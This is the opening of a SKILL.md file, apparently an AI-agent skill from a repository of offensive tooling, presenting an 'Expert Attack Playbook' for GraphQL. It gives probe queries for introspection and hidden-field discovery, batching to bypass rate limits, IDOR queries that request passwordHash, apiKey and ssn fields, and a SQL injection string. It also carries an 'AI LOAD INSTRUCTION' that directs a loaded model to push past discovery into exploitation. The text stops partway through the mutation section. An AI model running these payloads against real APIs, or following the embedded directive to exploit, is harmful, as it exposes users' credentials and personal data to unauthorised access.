graphql-and-hidden-parameters

Files (1)

• SKILL.md

SKILL.md (first lines)

---
name: graphql-and-hidden-parameters
description: >-
  GraphQL and hidden parameter testing playbook. Use when exploring introspection,
  batching, undocumented fields, hidden parameters, schema abuse, query depth DoS,
  mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers.
---

# SKILL: GraphQL and Hidden Parameters — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: GraphQL security testing covers schema discovery via introspection, batching abuse for rate limit bypass, hidden/undocumented field extraction, authorization gaps in nested queries, mutation abuse, subscription WebSocket hijacking, and injection through resolver arguments. Base models often stop at introspection — this skill pushes through to exploitation.

## QUICK START

### First-pass probes

| Situation | Probe | Why |
|---|---|---|
| Confirm GraphQL | `{__typename}` | Universal GraphQL fingerprint |
| Schema discovery | `__schema { types { name } }` | Full introspection |
| Field suggestions | Send typo in field name | Error may suggest valid fields |
| Batching abuse | `[{query1}, {query2}, ...]` | Array of queries bypasses rate limits |
| Hidden fields | Add `debug`, `admin`, `internal` to types | Undocumented fields |
| Injection test | `"1' OR '1'='1"` in arguments | Resolver may pass to SQL/NoSQL |

### First-pass probe set

```graphql
{__typename}
{__schema { types { name fields { name } } }}
{__type(name: "User") { fields { name type { name } } }}
mutation { __typename }
subscription { __typename }
```

---

## 1. INTROSPECTION AND SCHEMA DISCOVERY

### Full Introspection Query

```graphql
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType { name kind }
        }
        args {
          name
          type { name kind }
        }
      }
    }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}
```

### When Introspection is Disabled

- **Field suggestions**: Send `{usr}` → error may respond `"Did you mean \"user\"?"`
- **Error-based discovery**: `{__type(name: "User") { name }}` may still work
- **JS bundle mining**: Extract field names from frontend JavaScript bundles
- **Mobile APK/IPA**: Decompile and search for GraphQL field names
- **Known type probes**: Try common types (`User`, `Post`, `Admin`, `Config`, `Token`)

### Apollo Studio / GraphiQL Exposure

```
/graphql?explore=1
/altair
/graphiql
/graphql/console
/playground
```

---

## 2. AUTHORIZATION GAPS

### IDOR via GraphQL

```graphql
# Normal user query:
query { user(id: 1) { name email } }
# Try accessing other users:
query { user(id: 2) { name email passwordHash role } }

# Nested authorization gaps:
query {
  user(id: 1) {
    posts {
      comments {
        author { email role }  # May bypass object-level auth
      }
    }
  }
}
```

### Field-Level Access Control Bypass

```graphql
# Public fields: name, avatar
# Hidden fields: email, role, apiKey, ssn
query { user(id: 1) { name email role apiKey ssn } }
# If field-level auth is missing, all fields returned
```

### Mutation Authorization

```graphql

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC